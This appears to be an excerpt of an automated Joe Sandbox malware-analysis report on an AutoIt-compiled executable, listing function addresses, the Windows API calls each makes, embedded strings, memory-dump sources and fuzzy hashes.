Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 38ac3e07880e6ab55a1db55ad630cc7dd8657f35acc07b4e4a0a100d79fc0d61
Instruction ID: 013f2d71780aecbc309f99a3b5abb5da711d41590e65d135f7e38b9e7669746a
Opcode Fuzzy Hash: 38ac3e07880e6ab55a1db55ad630cc7dd8657f35acc07b4e4a0a100d79fc0d61
Instruction Fuzzy Hash: 00F0823510522DABDB219FA4CC48FEA77ACBF08361F00426AF909D7291D6349954CBE6

Function 004881CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00488309), ref: 004881E0
CloseHandle.KERNEL32(?,?,00488309), ref: 004881F2

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: fa54c81f25ac2958b9f1753a54a7f7c2e98ffcc22a2b4aacb68839f928dbd55e
Instruction ID: c39ba2021f9f491ffd5f223a72ff11f164aaf03953ac32fadb0d8706cd46c1de
Opcode Fuzzy Hash: fa54c81f25ac2958b9f1753a54a7f7c2e98ffcc22a2b4aacb68839f928dbd55e
Instruction Fuzzy Hash: A1E08C32010611AFE7212B21EC09D7B7BEAEF04315724893EF8AA80431CB22AC94DB18

Function 0045A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00458D57,?,?,?,00000001), ref: 0045A15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0045A163

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3e9d539b575c0c63c9de12c45c5682115cb5ec51b70c8cbcfea6a0a816f17b34
Instruction ID: a075d9e47cbb1835aac0b86d1db2a18de91b7f17087bed901930b20f7181ddee
Opcode Fuzzy Hash: 3e9d539b575c0c63c9de12c45c5682115cb5ec51b70c8cbcfea6a0a816f17b34
Instruction Fuzzy Hash: F8B09231054208ABCA002B91EC09B883FA8EB54AA2F409130FA0E84C60CB6254548A99

Function 0045F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a067cf7fe18c78231ac75fe64c90add8491e9684d62f466b3a83a1279aeaeaf
Instruction ID: 2a75325ba9bd5515e2c22bc6bed21b5331c8d2a43d786c067f5b3d5b0a40a215
Opcode Fuzzy Hash: 1a067cf7fe18c78231ac75fe64c90add8491e9684d62f466b3a83a1279aeaeaf
Instruction Fuzzy Hash: EB324661D29F014ED7639634D832336A248AFB73C9F14D737FC19B5AA6EB28D8874109

Function 0046242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb839485504853003e39333346b6d179682e3f12be758fa0e3c188e027fd3139
Instruction ID: 4ec43e41a5ed58355e6c5631dc69b7af3b9f9edafac0459d835274f60a3dc232
Opcode Fuzzy Hash: fb839485504853003e39333346b6d179682e3f12be758fa0e3c188e027fd3139
Instruction Fuzzy Hash: FDB12030E2AF454DD36396398935336BA4CAFBB2C9F51D72BFC2670D22EB2185934145

Function 00494C53 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00494C76

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 199f9fc8e044cc8a9bb3ef738b75ef0820a12614c89c48681c31e997b1fd66c5
Instruction ID: 3edbb597b197f9bc0689ca2e3291a3d5e6c1cd43ab9d48e4bb8910a0055e2f98
Opcode Fuzzy Hash: 199f9fc8e044cc8a9bb3ef738b75ef0820a12614c89c48681c31e997b1fd66c5
Instruction Fuzzy Hash: 75D05EA012220A3DECA80720CD5FFBB1909E3C0795F86C17B7241952C1E8DC6803A03D

Function 004887B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00488389), ref: 004887D1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 8824dc4b7df1e353a1dcbbb959f6b633c2cfd80876bfaeaf3fa433245804c441
Instruction ID: 1d00d46061c686e3f10d267c637dd3566d94da0f4c3f757cb04711a123e74e3a
Opcode Fuzzy Hash: 8824dc4b7df1e353a1dcbbb959f6b633c2cfd80876bfaeaf3fa433245804c441
Instruction Fuzzy Hash: 08D05E3226050EABEF019EA4DC02EAE3B69EB04B01F408121FE15C50A1C775E835AB60

Function 0045A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0045A12A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 833e008c856389094ed8f7b625b265ee6fbd632d459089db0fbe85a7aad122aa
Instruction ID: 07c3cf51378e8e2cb391969c7cf96deda484a3edf4a1a4d3a50dbbef239d57a8
Opcode Fuzzy Hash: 833e008c856389094ed8f7b625b265ee6fbd632d459089db0fbe85a7aad122aa
Instruction Fuzzy Hash: EDA0113000020CAB8A002B82EC08888BFACEA002A0B008030F80E808228B32A8208A88

Function 00448808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413dd36d905b2f0ed312ba02c1d044cec4ec28d8e6b712eb562a6ee50bbd68a2
Instruction ID: 16e6ecc3f3a490f6546d3eb96cec47fdd0950cb5658ed1af10714e3e8864bd24
Opcode Fuzzy Hash: 413dd36d905b2f0ed312ba02c1d044cec4ec28d8e6b712eb562a6ee50bbd68a2
Instruction Fuzzy Hash: 87224730904546CBEF389A64C49477E77A1FB41304F28886FD9429B692DFBC9D92CB4E

Function 004521C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: a657e96a5fd69ee023ba3b57fe23091c84aa4d742d73d5aece2d39dcdc14b80a
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 2EC194322050930ADB2D4639853413FBAA15EA37B371A075FDCB3CB2D6EE18D92DD624

Function 004525FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 5298415ba48e282cbcbfdb2a03570802c99161a43fed6e2753e21ff239c1f2ed
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: DAC1C6322050930ADF2D4639853413FBAA15EA37B271A075FDCB2DB2D6EE18D92DD624

Function 00451978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 1c905a688ab3d13a7d57946aa2942c1e622466bf09cdbddc61faca874ff65930
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 9AC1753220519309DF2D4639847423FBAA15EA27B331A075FDCB3CB2E6EE18D96DD614

Function 004A7806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004A785B
DeleteObject.GDI32(00000000), ref: 004A786D
DestroyWindow.USER32 ref: 004A787B
GetDesktopWindow.USER32 ref: 004A7895
GetWindowRect.USER32(00000000), ref: 004A789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 004A79DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 004A79ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7A35
GetClientRect.USER32(00000000,?), ref: 004A7A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 004A7A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7ABB
GlobalLock.KERNEL32(00000000), ref: 004A7AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7AD3
GlobalUnlock.KERNEL32(00000000), ref: 004A7ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7AE3
GlobalFree.KERNEL32(00000000), ref: 004A7AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,004C2CAC,00000000), ref: 004A7B16
GlobalFree.KERNEL32(00000000), ref: 004A7B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 004A7B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 004A7B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004A7D7A

Strings

AutoIt v3, xrefs: 004A7A2D
static, xrefs: 004A7A75, 004A7BCC
, xrefs: 004A7D00
DISPLAY, xrefs: 004A7BDD

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: d0ef7831147f409728552efc82b7c8db152d594602f7e342455dfe7a3720dc30
Instruction ID: 9d174577acfaf846f0efef7d241e86aaf4933d77a7443e79a57ad5e0aacdee0b
Opcode Fuzzy Hash: d0ef7831147f409728552efc82b7c8db152d594602f7e342455dfe7a3720dc30
Instruction Fuzzy Hash: 68027071900105EFDB14DFA8DC89EAE7BB9FF49314F10426AF905AB2A1C774AD05CB68

Function 004B356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,004BF910), ref: 004B3627
IsWindowVisible.USER32(?), ref: 004B364B

Strings

GETLINE, xrefs: 004B399B
ISENABLED, xrefs: 004B366B
DELSTRING, xrefs: 004B3749
FINDSTRING, xrefs: 004B3776
ISCHECKED, xrefs: 004B3839
GETCURRENTCOL, xrefs: 004B3928
GETCURRENTSELECTION, xrefs: 004B37E3
CHECK, xrefs: 004B386D
SHOWDROPDOWN, xrefs: 004B36E0
GETSELECTED, xrefs: 004B38A3
TABLEFT, xrefs: 004B3687
SENDCOMMANDID, xrefs: 004B39DA
UNCHECK, xrefs: 004B3883
TABRIGHT, xrefs: 004B369D
SETCURRENTSELECTION, xrefs: 004B37B6
ADDSTRING, xrefs: 004B3716
GETLINECOUNT, xrefs: 004B38C6
ISVISIBLE, xrefs: 004B3637
GETCURRENTLINE, xrefs: 004B38ED
CURRENTTAB, xrefs: 004B36BD
HIDEDROPDOWN, xrefs: 004B3700
SELECTSTRING, xrefs: 004B3806
EDITPASTE, xrefs: 004B395F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 37b6da3ef58ba0dec24ea2a0c796960bfde3353040a3548432e562c00bc78da5
Instruction ID: 0b268240c946aad4d7549058dc85b8d51b002f049c8d1aea90deeab0cead7edd
Opcode Fuzzy Hash: 37b6da3ef58ba0dec24ea2a0c796960bfde3353040a3548432e562c00bc78da5
Instruction Fuzzy Hash: 43D171742043019BCB14EF12C451AAE77A1AF95349F14885FF8855B3E3DB39EE0ACB5A

Function 004BA5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 004BA630
GetSysColorBrush.USER32(0000000F), ref: 004BA661
GetSysColor.USER32(0000000F), ref: 004BA66D
SetBkColor.GDI32(?,000000FF), ref: 004BA687
SelectObject.GDI32(?,00000000), ref: 004BA696
InflateRect.USER32(?,000000FF,000000FF), ref: 004BA6C1
GetSysColor.USER32(00000010), ref: 004BA6C9
CreateSolidBrush.GDI32(00000000), ref: 004BA6D0
FrameRect.USER32(?,?,00000000), ref: 004BA6DF
DeleteObject.GDI32(00000000), ref: 004BA6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 004BA731
FillRect.USER32(?,?,00000000), ref: 004BA763
GetWindowLongW.USER32(?,000000F0), ref: 004BA78E

Part of subcall function 004BA8CA: GetSysColor.USER32(00000012), ref: 004BA903
Part of subcall function 004BA8CA: SetTextColor.GDI32(?,?), ref: 004BA907
Part of subcall function 004BA8CA: GetSysColorBrush.USER32(0000000F), ref: 004BA91D
Part of subcall function 004BA8CA: GetSysColor.USER32(0000000F), ref: 004BA928
Part of subcall function 004BA8CA: GetSysColor.USER32(00000011), ref: 004BA945
Part of subcall function 004BA8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 004BA953
Part of subcall function 004BA8CA: SelectObject.GDI32(?,00000000), ref: 004BA964
Part of subcall function 004BA8CA: SetBkColor.GDI32(?,00000000), ref: 004BA96D
Part of subcall function 004BA8CA: SelectObject.GDI32(?,?), ref: 004BA97A
Part of subcall function 004BA8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 004BA999
Part of subcall function 004BA8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004BA9B0
Part of subcall function 004BA8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 004BA9C5
Part of subcall function 004BA8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 004BA9ED

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 7abb7b5a04b7716125a7bea1f06a5b4c1f1ec81e32e7b6c771f0a164e292fe9e
Instruction ID: 4330a7a9623b758152961859e2349c64fe57bd1d5b97182c5581baf5a54f6ec1
Opcode Fuzzy Hash: 7abb7b5a04b7716125a7bea1f06a5b4c1f1ec81e32e7b6c771f0a164e292fe9e
Instruction Fuzzy Hash: 18917071408301FFCB109F68DC08A9B7BA9FF48321F104B3AF966961A1D775D949CB6A

Function 00432C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00432CA2
DeleteObject.GDI32(00000000), ref: 00432CE8
DeleteObject.GDI32(00000000), ref: 00432CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00432CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00432D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 0046C43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0046C474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0046C89D

Part of subcall function 00431B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00432036,?,00000000,?,?,?,?,004316CB,00000000,?), ref: 00431B9A

SendMessageW.USER32(?,00001053), ref: 0046C8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0046C8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0046C907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0046C912

Strings

0, xrefs: 0046C731

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: e75a72c004d0b16f19b3e4deb0c2d1aad53c23399a871a803bec9e251a4eab1b
Instruction ID: 90a9843a44511c2f406ae094692b5f9139fe7a925ef081163cdf4326d289b729
Opcode Fuzzy Hash: e75a72c004d0b16f19b3e4deb0c2d1aad53c23399a871a803bec9e251a4eab1b
Instruction Fuzzy Hash: 74128F30100211EFDB20DF24C984BBAB7A1BF08315F54557BE899CB262D779EC46CB9A

Function 004A74AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 004A74DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004A759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 004A75DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 004A75ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 004A7633
GetClientRect.USER32(00000000,?), ref: 004A763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 004A7683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004A7692
GetStockObject.GDI32(00000011), ref: 004A76A2
SelectObject.GDI32(00000000,00000000), ref: 004A76A6
